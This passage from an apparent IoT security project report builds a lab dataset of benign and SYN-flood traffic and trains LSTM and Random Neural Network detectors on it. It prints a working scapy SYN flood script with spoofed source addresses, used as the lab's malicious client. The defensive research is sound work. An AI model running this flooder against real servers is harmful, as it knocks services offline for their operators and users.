This script is used in order to produce benign traffic from a client node to the target 

node. It takes the following arguments: 

 

<target IP> which is the IP of the target node 

<target port> which corresponds to the specific port of the target node. 

<number of connections> which corresponds to the number of new connections that the 

client will try to open with the target. (Suggested number 100-200) 

 

Advanced_b9generator.py: 

 
#!/usr/bin/env python3 

 

import sys 

import socket 

import selectors 

import types 

import logging 

import signal 

import sys 

import time 

 

sel = selectors.DefaultSelector() 

messages = [b"Message 1 from client.", b"Message 2 from client."] 

 

def start_connections(host, port, num_conns): 

    server_addr = (host, port) 

    for i in range(0, num_conns): 

        connid = i + 1 

        print("starting connection", connid, "to", server_addr) 

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

        sock.setblocking(False) 

        sock.connect_ex(server_addr) 

        events = selectors.EVENT_READ | selectors.EVENT_WRITE 

        data = types.SimpleNamespace( 

            connid=connid, 

            msg_total=sum(len(m) for m in messages), 

            recv_total=0, 

            messages=list(messages), 

            outb=b"", 

        ) 

        sel.register(sock, events, data=data) 

 

 

def service_connection(key, mask): 

    sock = key.fileobj 

    data = key.data 

    if mask & selectors.EVENT_READ: 

        recv_data = sock.recv(1024)  # Should be ready to read 

        if recv_data: 

            print("received", repr(recv_data), "from connection", data.connid) 

            data.recv_total += len(recv_data) 

        if not recv_data or data.recv_total == data.msg_total: 

            print("closing connection", data.connid) 
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            sel.unregister(sock) 

            sock.close() 

    if mask & selectors.EVENT_WRITE: 

        if not data.outb and data.messages: 

            data.outb = data.messages.pop(0) 

        if data.outb: 

            print("sending", repr(data.outb), "to connection", data.connid) 

            sent = sock.send(data.outb)  # Should be ready to write 

            data.outb = data.outb[sent:] 

 

 

if len(sys.argv) != 4: 

    print("usage:", sys.argv[0], "<host> <port> <num_connections>") 

    sys.exit(1) 

 

host, port, num_conns = sys.argv[1:4] 

 

 

 

num_conns = int(num_conns) 

while True: 

    start_connections(host, int(port), 150) 

    num_conns -= 150 

    try: 

        while True: 

            events = sel.select(timeout=1) 

            if events: 

                for key, mask in events: 

                    service_connection(key, mask) 

            # Check for a socket being monitored to continue. 

            if not sel.get_map(): 

                break 

    except KeyboardInterrupt: 

        print("caught keyboard interrupt, exiting") 

    time.sleep(10) 

 

 

3.6 Malicious client set up 
 

An IoT node of our network that plays the role of the malicious client (in our case VM1) 

will have to be running in the background the python script: syntcp_attack.py 

 

This script is used in order to launch a SYN TCP attack from a client node to the target 

node. 

 

arguments: 

<dst_ip> which is the target’s IP 

<dst_port> which is the target’s port 

 

optional arguments: 

[--sleep=<sec>] It defines the speed (severity of the attack) 

[--verbose] Prints more comments during the attack 

[--very-verbose] Prints even more comments during the attack 

 

syntcp_attack.py: 
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#!/usr/bin/env python3 

 

""" 

 

 

Usage: 

  syn_flooder.py <dst_ip> <dst_port> [--sleep=<sec>] [--verbose] [--very-verbose] 

 

Options: 

  -h, --help            Show this screen. 

  --version             Show version. 

  --sleep=<seconds>     How many seconds to sleep betseen scans [default: 0]. 

  --verbose             Show addresses being spoofed. [default: False] 

  --very-verbose        Display everything. [default: False] 

 

""" 

from docopt import docopt 

import logging 

import signal 

import sys 

logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 

from scapy.all import * 

 

 

def main(arguments): 

    src_net = "192.168.56." 

    dst_ip = arguments["<dst_ip>"] 

    dst_port = int(arguments["<dst_port>"]) 

    sleep = int(arguments["--sleep"]) 

    verbose = arguments["--verbose"] 

    very_verbose = arguments["--very-verbose"] 

 

    signal.signal(signal.SIGINT, lambda n, f: sys.exit(0)) 

 

    print "\n###########################################" 

    print “# Starting Denial of Service attack...” 

    print "# Target:%s" % (dst_ip) 

    print "###########################################\n" 

 

    for src_host in range(3,254): 

        if verbose or very_verbose: 

            print "[*] Sending spoofed SYN packets from %s%d " % (src_net, src_host) 

            print “--------------------------------------------” 

        for src_port in range(1024, 65535): 

            if very_verbose: 

                print"[+] Sending a spoofed SYN packet from %s%d:%d" % (src_net, src_host, src_port) 

            # Build the packet 

            src_ip = src_net + str(src_host) 

            network_layer = IP(src=src_ip, dst=dst_ip) 

            transport_layer = TCP(sport=src_port, dport=dst_port, flags="S") 

 

            # Send the packet 

            send(network_layer/transport_layer, verbose=False) 

 

        if sleep != 0: 

            time.sleep(sleep) 

 

    print “[+] Denial of Service attack finished.” 
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if __name__ == '__main__': 

    arguments = docopt(__doc__, version="SYN Flooder 1.5") 

    main(arguments) 

 

4. Using Generative Adversarial Networks for possibly produce 

network traffic 
 

Generative adversarial networks (GANs) is a recent addition to the arsenal of Deep 

Generative modeling. The use of GANs has been extensive in image processing with 

pure generation tasks and denoising, but also in Natural Language Processing and 

Recommendation systems. The basic idea is to adapt the model so that it can be used to 

produce more complex patterns of network traffic and generalize and scale the solution 

in finding datasets of elaborate network attacks and malicious activities, without ever 

again needing to explicitly model the distribution of sequence in network packets being 

exchanged (use of Markov Processes and Variational inference) 

 

The basic intuition behind Generative Adversarial Networks is that there are two neural 

networks (The model is much more generic in conception so the regression models are 

not explicitly defined as neural networks but rather that two differentiable functions 

with enough modeling capacity specific to the problem) that work in opposition. The 

first neural network is supposed to be the Discriminator network and the second one is 

the Generator. A vector is sampled from a latent space and is fed to the Generator. The 

Generator produces an output in the same space as the data samples collected. Then 

real data samples are fed into the discriminator along with the outputs of the Generator. 

The two neural networks play a minimax game (minimax optimization) where the 

Generator is attempting to fool the Discriminator by producing samples that are 

progressively better (they are more likely to be drawn from the distribution of the 

dataset). 

 

 
Figure 9:Generative adversarial networks[23] 

The basic premise of the idea is to get packet captures that constitute a complex act of 

malicious network activity (where the distribution of the sequence of packets can not 

be analytically tractable). Then the packets are annotated according to the content of 

the various packet headers (IP address of the destination, IP address of the source, 

PORT of the source, PORT of the destination, number of Bytes type of flag) and then 
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create a type of visual data from the vectors derived from the annotation (stack vectors 

on top of each other) and feed the model of the Discriminator (and the process of the 

Generator would be the classical one). 

A possible tweak would be to use the conditional GAN, where every sample of the 

dataset is fed in the model along with a concatenated label (1 of the specific piece of 

input constitutes an attack and 0 if the specific piece is derived from benign 

communications.  

 

4.1 Troubleshooting 
 

It has been proven that the converged model of Generative Adversarial Networks 

(Generator) has explicitly described the information of the possibly intractable 

distribution of the samples in the dataset. So, once the model has been trained properly 

the sophisticated sequence of an elaborate attack could be mimicked and reproduced in 

detail. The problem stems from the fact that the training process of Generative 

Adversarial Networks is intrinsically predicated upon the idea of finding the saddle 

point of a loss function (solving a minimax game), so classic first order methods of 

optimization (such as gradient descent) and even methods of quadratic optimization 

such as quasi-Newton methods do not provide sufficient conditions for convergence. 

Therefore, the training processes of GANs can be time consuming and the convergence 

is difficult to be achieved (involves a lot of random search in the hyperparameter space). 

 

Another emerging issue is that the product of annotating raw packet captures results in 

very sparse vectors, so the choice of specific neural network architecture is really 

important. The most common use of convolutional neural networks is not sufficient for 

dealing with the sparsity. Probably the employment of Recurrent neural network 

architectural schemes would be more sufficient and more able to deal with the nature 

of the particular dataset.   

5. Dataset Annotation 
 

The main reason for producing the generator, other than feeding the networks created 

by the project’s consortium for demonstration purposes, was the need for properly 

annotated datasets that would facilitate the training of deep learning models, used for 

tracing the launching of attacks. 

Our intuition was to treat network traffic as time series, so we proceeded to create time 

series of time windows (intervals), where the number of current half-opened 

connections at a particular server are active. 

 

A bot network was created in lab environment. Every Virtual Machine (VM) simulated 

a node in the IoT network. Scapy was used to create a script that runs on every VM and 

creates TCP connections with the targeted node (simulates a possible server under 

attack). Scapy was also used to create a script that manifests a SYN TCP attack towards 

the server. The script initiates multiple TCP connections from multiple ports of the 

attacker with a particular port of the destination. The connections are never fully 

established. The whole communication is captured in pcap files using Wireshark which 

is a tool for network traffic monitoring. Even though, the communication in the context 

of the network, is non-malicious, for the most part, the attack is being launched at 

specific instances of the duration of the experiment. The pcap files are annotated with 

the methodology described in the previous section. 
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The final goal is transforming the key metrics that are hidden in the information 

contained in pcap files into useful datasets. The key metric that we are going to use is 

the amount of half opened connections during every time window with fixed time in all 

scenarios. Every traffic scenario is then translated to a specific dataset. 

 

Pcap files were transformed into datasets after being processed by two sequential 

operation that are being described below. 

 

By implementing the script list_of_annotation_creation.py we dissected each pcap file 

into smaller fixed traffic windows. Now smaller pcaps are easily handled by our next 

script half_opened_cons.py which is responsible for the finalization of the datasets by 

applying the appropriate filters in every dissected pcap and extracting only the packets 

that correspond to half-opened connections. Then we measure the amount of half 

opened connections of every traffic window and appending this amount to a list which 

is finally representing a dataset. 

 

list_of_annotation_creation.py: 

 
# This script gets a pcap file from the said folder and dissects it into multiple smaller pcaps. The 

dissection is implemented  

# based on predefined time intervals  

 

# necessary imports of modules, packages 

import argparse 

import os 

import sys 

#import pandas as pd 

import matplotlib 

import matplotlib.pyplot as plt 

from scapy.all import * 

from scapy.layers.l2 import Ether 

from scapy.layers.inet import IP, TCP 

from scapy.all import rdpcap 

from tkinter import Tcl 

 

 

# process_pcap function gets a pcap and returns the number of packets contained 

def process_pcap(file_name): 

    #print('Opening {}...'.format(file_name)) 

 

    count = 0 

    for (pkt_data, pkt_metadata,) in RawPcapReader(file_name): 

        count += 1 

 

    #print("File with filename: "+ file_name + "has " + str(count) + " packets") 

 

    HoConnections.append(int(count)) 

    ho_connections.append({'Time_window': k, 'HalfOpen_Connections': count})     

 

    #print('{} contains {} packets, so there were {} attempts to attack'.format(file_name, count, 

int(count/2))) 

 

# mid_char returns the selected items in a list 

def mid_char(x): 

    return (x[16:21]) 
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#creation of multiple pcap files(per time window) in the same folder as the “realtimesenario.pcap” 

filename = "realtimesenario.pcap" 

cmd = 'editcap -i 5 "{}" "{}"'.format(filename,filename) 

os.system(cmd) 

 

#parse the pcap files created and append in a list (file_list) 

i = 0 

file_list = [] 

startdir='.' 

for root, dirs,files in os.walk(startdir): 

   for file in files: 

      if file.endswith('.pcap'): 

         i = i+1 

         #os.rename(file, "annot" + str(i) + ".pcap") 

         file_list.append(file) 

 

#discard the last item of the list (realtimesenario.pcap) the original pcap file 

file_list =  file_list[0:-1] 

 

#sort the list of pcaps by order of time window manifested 

file_list=sorted(file_list , key= mid_char) 

 

#number of items per list for debugging purposes 

p=0 

for item in file_list: 

   p = p + 1 

print(p) 

 

#printing the list of pcaps for validation 

print(file_list) 

k = 0 

windows = [] 

final_list = [] 

ho_connections = [] 

HoConnections = [] 

Windows = [] 

 

#creating the final list of annotation HoConnections 

for file_name in file_list: 

    print(file_name + " :") 

    process_pcap(file_name) 

    print(HoConnections[k]) 

    k = k + 1 

 

print(HoConnections) 

#plt.plot(Windows,HoConnections, label = 'attack') 

#plt.xlabel('Time window enum') 

#plt.ylabel('Half opened connections') 

#plt.legend() 

#plt.show() 

 

half_opened_cons.py: 

 
 import argparse 

import os 

import sys 

#import pandas as pd 

import matplotlib 
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import matplotlib.pyplot as plt 

from scapy.all import * 

from scapy.layers.l2 import Ether 

from scapy.layers.inet import IP, TCP 

 

def process_pcap(file_name): 

    print('Opening {}...'.format(file_name)) 

 

    count = 0 

    for (pkt_data, pkt_metadata,) in RawPcapReader(file_name): 

        count += 1 

 

    HoConnections.append(int(count/2)) 

    ho_connections.append({'Time_window': k, 'HalfOpen_Connections': count})     

 

    print('{} contains {} packets, so there were {} attempts to attack'.format(file_name, count, 

int(count/2))) 

 

if __name__ == '__main__': 

 

    """ 

    parser = argparse.ArgumentParser(description='PCAP reader') 

    parser.add_argument('--pcap', metavar='<pcap file name>', 

                        help='pcap file to parse', required=True) 

    args = parser.parse_args() 

     

 

    file_name = args.pcap 

     

    if not os.path.isfile(file_name): 

        print('"{}" does not exist'.format(file_name), file=sys.stderr) 

        sys.exit(-1) 

    """ 

    k = 0 

    files = [] 

    ho_connections = [] 

    HoConnections = [] 

    Windows = [] 

    for i in range(25): 

        files.append("anot" + str(i) + ".pcapng") 

        Windows.append(i) 

 

 

    for file_name in files: 

        process_pcap(file_name) 

        k+=1 

 

    plt.plot(Windows,HoConnections, label = 'attack') 

    plt.xlabel('Time window enum') 

    plt.ylabel('Half opened connections') 

    plt.legend() 

    plt.show() 

    #df = pd.DataFrame(data=ho_connections) 

    #df.plot(x='Time window enum', y='Half opened connections', color='r') 

    #plt.show() 

    #plt.close() 

 

    sys.exit(0) 
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6.Traffic Capturing and Dataset Preparation 
 

Once we have set all the configurations described above, we began generating a bunch 

of different traffic scenarios. The diversity of every scenario is defined  by the duration 

of the benign traffic window, the duration of the malicious traffic window, as well as 

the number of benign and malicious traffic windows in a single scenario.  

 

By using Wireshark, which is a tool that we used to capture real time traffic, we saved 

every scenario’s traffic into pcap files. Pcap files contain all the information that we 

need in order to analyze the kind of communications that have been established in every 

single scenario.   

 

A picture of a traffic window containing only benign traffic is presented on figure 10: 

 

 
Figure 10:Wireshark packet captures 

  

This is a glimpse of healthy communication captured by Wireshark. VM-1 opens full 

TCP connections with VM-s (server), it  sends a message and the connection is being 

closed (benign traffic script running on the VM-1). 

 

On the contrary, a picture of a traffic window containing only malicious (SYN TCP 

Flood) traffic looks like this: 
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Figure 11:Wireshark packet captures 

 

The attack is being launched by the previously normal client. VM-2 is opening multiple 

connections that it leaves half opened (not responding with ACK) to port 1028 of VM-s  

 

SYN TCP Flood attack actually floods all the potential channels that the server could 

use to establish connections with other client-nodes. During the launch of the attack in 

the described scenario the number of half opened connections was so high that the 

server node couldn’t establish new connections. This fact has been also captured by 

Wireshark while benign nodes tried to connect with the server but their syn messages 

were retransmitted due to the lack of available resources from the side of the server. 

 
Figure 12:Attack scenario depicted in Wireshark 
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The graph below represents the amount of half opened connections during the period 

when the attack was launched 

 
Figure 13:graph of half-opened connections 

7.Deep learning for SYN TCP flood attack detection 
 

The immense capabilities of neural networks to extract complex patterns from given 

data intuitively seems a great tool to use for detecting malicious activities in the context 

of an IoT network. LSTMs are renowned for applications of handling multivariate time 

series and in general cases where the data intrinsically show some temporal 

dependencies. On the other hand, Random Neural Networks seem to have a broader 

spectrum of possible applications.  

Deep learning has been used before for detection of SYN flood attacks in where a 

Random Neural Network was implemented as a classifier to distinguish between non-

malicious network packet captures and captures constituting SYN attacks. 

The LSTM neural network architectural scheme has been previously implemented 

for detecting DoS attacks in infrastructure in [11]. The previous implementation was 

with the assistance of Bayes and not the LSTM formulation on its own detecting that 

the port is being under attack. 

The intersection between deep learning and detection of Distributed Denial of 

Service (DDoS) attacks was investigated in [12] and showcased the efficiency of deep 

neural networks in modelling the patterns of attackers attempting to perform DoS 

attacks. 

Deep learning has been employed in many cases as an underlying level of IoT 

security and performing adequately in terms of the models’ ability to extract the patterns 

of attack sequences. In particular, such an overview has been provided by [13]. 
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Deep learning and deep neural networks have been implemented not only for attack 

detection, but in the whole spectrum of assisting the task of securing IoT systems. [8] 

presents an implementation for secure routing using Random Neural Network 

architectures for decision making on the SDN Controller. 

8.Neural Network Structures 
 

8.1 Random Neural Network 
 

The Random Neuron is a unit that receives two types of input signals, the excitatory 

and the inhibitory and is also characterized by its rate that is always positive. If we 

denote as x the excitatory input, as y the inhibitory input and as r the rate, the output of 

the Random Neuron is 𝑧 = min {
𝑥

𝑟+𝑦
|1} 𝑟 . 

 

 
Figure 14:random neuron model[15] 

 

In the feedforward formulation of the Random Neural Network there are no circuits 

in the connection graph. There are three distinct categories of layers, the input layer, 

the hidden layers and the output layer. Every unit is connected to other units that belong 

to the hierarchically consecutive layer (from the input layer to the output layer passing 

through the hidden layers). This formulation results to a non-linear system of equations 

that can be formally solved [14].  

 

 
Figure 15:random neural network feedforward formulation[15] 

 

Let I be the number of neurons in the input layer, H is the number of neurons in the 

hidden layer (assuming there is only one hidden layer in the topology) and O is the 

number of neurons in the output layer. We provide index for every neuron in the 

feedforward formulation with the following methodology. We index the neurons of the 

input layer from 1 to I, the hidden neurons from I+1 to I+H and the output neurons from 
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I+H+1 to I+H+O = N. Assuming that the input neurons are the only ones receiving 

signals from the outside we can compute the rates of activity for all the neurons: 

 

• ρₖ = 
𝜆ₖ⁺

𝑟ₖ+𝜆ₖ⁻
    0   ≤ κ ≤  I 

• ρₕ = 
∑ 𝜌ₖ𝑤ₖₕ⁺𝐼

𝑘=1

𝑟ₕ+∑ 𝜌ₖ𝑤ₖₕ⁻𝐼
𝑘=1

 I+1≤h≤H+I 

• ρₒ = 
∑ ρₕwₕₒ⁺𝐼+𝐻

ℎ=𝐼+1

𝑟ₒ+ ∑ 𝜌ₕ𝑤ₕₒ⁻𝐼+𝐻
ℎ=𝐼+1

   I+H+1≤o≤N 

 

As it has been shown in [15], the original gradient descent iterative optimization scheme 

can be tweaked and implemented for training feed forward neural network architectures 

both as regressor and as classifiers. 

 

 

8.2 Long-Short Term Memory 
 

Long Short-Term Memory (LSTM) networks, as a special structure of Recurrent 

Neural Networks, have proven to be stable and powerful for modeling long-range 

dependencies in general-purpose sequence modeling. In LSTMs, each node in the 

hidden layer is replaced by a memory cell, instead of a single neuron . The structure of 

a single memory cell is depicted in the figure below. 

 

 
Figure 16:LSTM cell[17] 

 

The memory cell contains the following components: the forget gate, the input node, 

the input gate, and the output gate. Each component applies a non-linear relation on the 

inner product between the input vectors and respective weights (altered iteratively 

through a training process). Some of the components have the sigmoid function, σ(∙)  

and others the  tanh(∙) 

As discussed in [16] Recurrent neural networks and LSTMs in particular, have 

shown great success in predicting time series online.  Especially in [17] LSTMs have 

been used to tested, particularly on predicting traffic flows. 

The goal of the forget gate is to decide what information should be discarded out of 

the memory cell [18]. The output, denoted as f(n) ranges between 0 and 1, according to 

the sigmoid activation function. The forget gate learns whether a previous or future 
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vector state is necessary for the estimation of the current value state. The input node 

performs the same operation with that of a hidden neuron of a typical recurrent 

regression model. The goal of this node is to estimate the way in which each latent state 

variable contributes to the final model.   

 As far as the input gate is concerned, its role is to regulate whether the respective 

hidden state is sufficiently important. It has the sigmoid function, therefore its response 

ranges between 0 and 1. This gate addresses problems related to the vanishing of the 

gradient slope of a tanh(∙) operator. Finally, the output gate regulates whether the 

response of the current memory cell is sufficiently significant to contribute to the next 

cell. Therefore, this gate actually models the long-range dependency together with the 

forget gate.   

The recurrent nature of the LSTM presents many intricacies in terms of the iterative 

training process for adjusting the weights of the multiple gates. The adaptation of the 

backpropagation algorithm for accommodating the LSTM training is called 

Backpropagation Through Time [19]. The backpropagation variation for training 

recurrent neural network architectures presents the problem of vanishing or exploding 

gradients. So the number of time steps that the gradient is propagated is another 

hyperparameter of training that needs to be monitored. This adaptation is called 

truncated backpropagation through time and is thoroughly explained in [20]. 

 

8.3 Overall System Architecture 
 

The basic premise of the methodology for detection is described below.  

The communication in the context of a network is captured in a pcap file using 

Wireshark [21]. The communication contains both non malicious traffic and SYN flood 

attacks targeted towards the port of a specific node. 

The pcap file is used for creating an annotated dataset and being made into a 

univariate time series. Specifically, the pcap is being dissected into time windows of 5 

seconds. During the period of 5 seconds, special Wireshark filters were used to count 

the number of half opened TCP connections established with a specific port of a 

particular IP during the time frame. In that way the final dataset is a univariate list of 

the number of unestablished TCP connections. 

The basic idea is to use a deep neural network as a regressor and train it with a part 

of the time series that corresponds to normal non malicious communication. 

Then the a priori trained neural network regressor attempts to predict the number of 

half-open TCP connections for the consecutive time window. If this number deviates 

from the actual value of the metric by a predefined threshold then the inspected node is 

considered to be under attack. 

 
Figure 17: model methodology 

 

8.4 LSTM implementation Hyperparameters 
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The LSTM neural network architecture is comprised by one input layer, one output 

layer and two hidden layers with 50 neurons each (dense formulation). The Loss 

function used for adapting the weights is the Mean Square Error (MSE) which is the 

most typical loss function used for training in regression problems and the optimization 

scheme is the ADAM optimizer. The Backpropagation Through Time (BPTT) was 

stopped at three consecutive steps going back so the truncated version of the 

Backpropagation scheme was implemented for avoiding vanishing gradients. 

 

8.5 Random Neural Network implementation Hyperparameters 
 

The Random Neural Network was in feedforward formulation so no recursive 

element. Other than the input and output layers, there was one hidden layer with 50 

neurons. The nature of the Gelenbe Networks entails no choice for the activation 

function. The loss function was again the Mean Square Error function and for the 

iterative optimization scheme, the adaptation of the backpropagation scheme as 

described in [15] was implemented from scratch (without using any high-level API 

implementation) 

 

8.6 Experimental validation 
 

We have conducted experiments to: 1) validate the efficacy of the deep learning 

predictive model idea for SYN TCP attack detection and 2) compare the two 

architectures of deep neural networks in terms of accuracy. 

We train each of the formulations of deep neural networks (always as a regressor) 

with the same dataset that has been derived from the annotation process of a pcap file 

that contains only non-malicious communication. 

Then we test the accuracy of the models by using the previously described 

methodology on a dataset that combines non malicious and malicious communication. 

We present the results 

 

Neural Network 

architecture 
Accuracy False Positives 

Gelenbe-Network 

80.7% 

 

19.3% 

LSTM 62.7% 37.3% 

 

Here we should note that the formulation of the model architecture intuitively excludes 

the presence of False negatives and that is also prevalent in the results presented. 

 

8.7 Conclusions extracted 
 

The basic conclusion that can be formulated from the experimentation is the fact that 

the Random Neural Network architecture seems more adamant in terms of capturing 

the patterns of the malicious traffic and therefore is more efficient to detect 

abnormalities modelled as outliers. The distribution of what constitutes normal traffic 

and especially the boundaries between the various modes of the distribution are better 

described by the Random Neural Network formulation in comparison to the LSTM. In 

addition the Random Neural Network architecture is in feedforward formulation, so our 

intuition entails that a possible implementation using a recurrent version of the Random 
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Neural Network architecture would perform even better because it would be more 

suitable in terms of capturing the temporal dependencies of the given time series, which 

gives even more room and possibilities for improving the efficacy of detecting the 

attacks of the specific category. 

9.Ideas for deployment 
 

The implementation of the detecting algorithms was not an attempt to only find out the 

accuracy of certain concepts but to, additionally, create ready-to-use software 

components for deployment in actual real-life IoT networks. So we proceeded in 

creating two scripts that can be used as black boxes and be integrated as such. Every 

script has two specific requirements for integration: 

 

- Running on a Debian-based machine 

- TCP protocol being used for communication 

 

Each script uses the respective apriori trained model and every predefined time interval 

captures the current number of half opened TCP connections and feeds the metric to 

the model. The regressor outputs the prediction and it is compared to the predefined 

threshold and the final decision-making is being made.  

The possible deployments in the context of an IoT network, according to the reference 

architecture are plenty. 

The deep learning SYN TCP flood attack detector could be installed in the controller 

of the network or any type of forwarder in the Domain of the controller as well as 

anywhere in the Fog or Edge of the network. 

Additionally, since it is a lightweight implementation that can run on an IoT hub that 

controls devices in the lower layer of the Architecture (the network of sensors and 

actuators. 

With minor adjustments and using possible packages included in the TensorFlow Lite 

version of TensorFlow the detector could even be installed on an IoT device and secure 

the said equipment from possible malevolent activity. 

 

10.Connection of the RNN-based attack detector with the SerIoT 

Routing Engine 
 

The basic premise of the idea of attack (DDoS in our case) detection on the level of the 

sensor (proximity) network of the IoT (Lightweight attack detection) relies on the 

assumption that the component that investigates a possible attack scenario can report 

the security status to the Management Domain of the Network, where more complex 

and profound intelligence can take action. 

In that case, the Random Neural Network-Based detector has to be able to connect with 

SerIoT Routing Engine and report the emergence of a DDoS attack, if and when that 

takes place. 

The SerIoT Routing Engine operates using a REST API for communication with the 

end devices. 
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Therefore, the python script of the detector needs to be able to access the REST API of 

the SerIoT Routing Engine and request the block of the particular TCP connection with 

the node under attack. This is enabled by the Python Requests Module.  

 

In detail, we need to import the Requests module on the script after we pip install it on 

the Python environment. 

We use the mitigation request (post block request) of the non-standalone (ONOS) 

implementation and documentation of the SerIoT Routing Engine.  

The credentials given to the request object are read from a separate file for security 

purposes. 

We should note, at that point, that the script should be made possible to be run only 

with sudo privileges and, therefore, accessing the separate file is going to be made 

possible only with the appropriate sudo privileges. 

What follows is a paradigm of the implementation of the reporting of the detector to 

the SerIoT Routing Engine. 

We assume that the credentials file is named ‘cred’. 

 

 
 This is a simplistic example of the interconnection. We should note two things. The 

first one is that the 234.18.100.25 is a generic IP and this should be replaced by the IP 

of the node on which the script is running and there should be some consideration about 

a possible exemption. 
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11.Conclusions 
 

Network security has always been in the forefront of networking-related research. The 

focus has previously been on the security aspects of traditional TCP/IP networks, but 

the rise of IoT (Internet of Things) networks results in the emerging of a new landscape 

in terms of security. The category of attacks, most typical in traditional TCP/IP 

networks, is the one related to the interception of valuable information. On the other 

hand, in IoT networks, the attacks that are most common and least explored, are those 

labelled as Denial of Service (DoS) attacks. In that particular type of attacks, the 

attacker attempts to inhibit the target’s ability to function seamlessly. In this paper, we 

exploit the immense modelling capabilities of two different types of deep neural 

networks: The Long-Short-Term-Memory (LSTM) and the Random Neural Network, 

for detecting a common type of DoS attack, the SYN flood attack. The two neural 

network architectures represent two different formulations. The LSTM is a recurrent 

formulation, and the Random Neural Network is implemented as feed-forward (even 

though the Random Neural Network architectures can also be recurrent). By comparing 

those two heuristic methods in their ability to detect malicious traffic flows in a large 

scale IoT network, we can say that both methods had significant level of accuracy. So 

both models could be used for that purpose. However the Random Neural Network 

model has shown even better results compared to the LSTM. In SerIoT we will make 

use of the Random Neural Network model which is a component that has been 

implemented for the scope of this project. Our contribution to the field of attack 

detection in IoT networks could be used as a helpful tool on the hands of other research 

and Innovation projects or other researchers working on the IoT security field to expand 

our initial proposition and introduce new and more complex detecting models.  
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Random Neural Network implementation script: 
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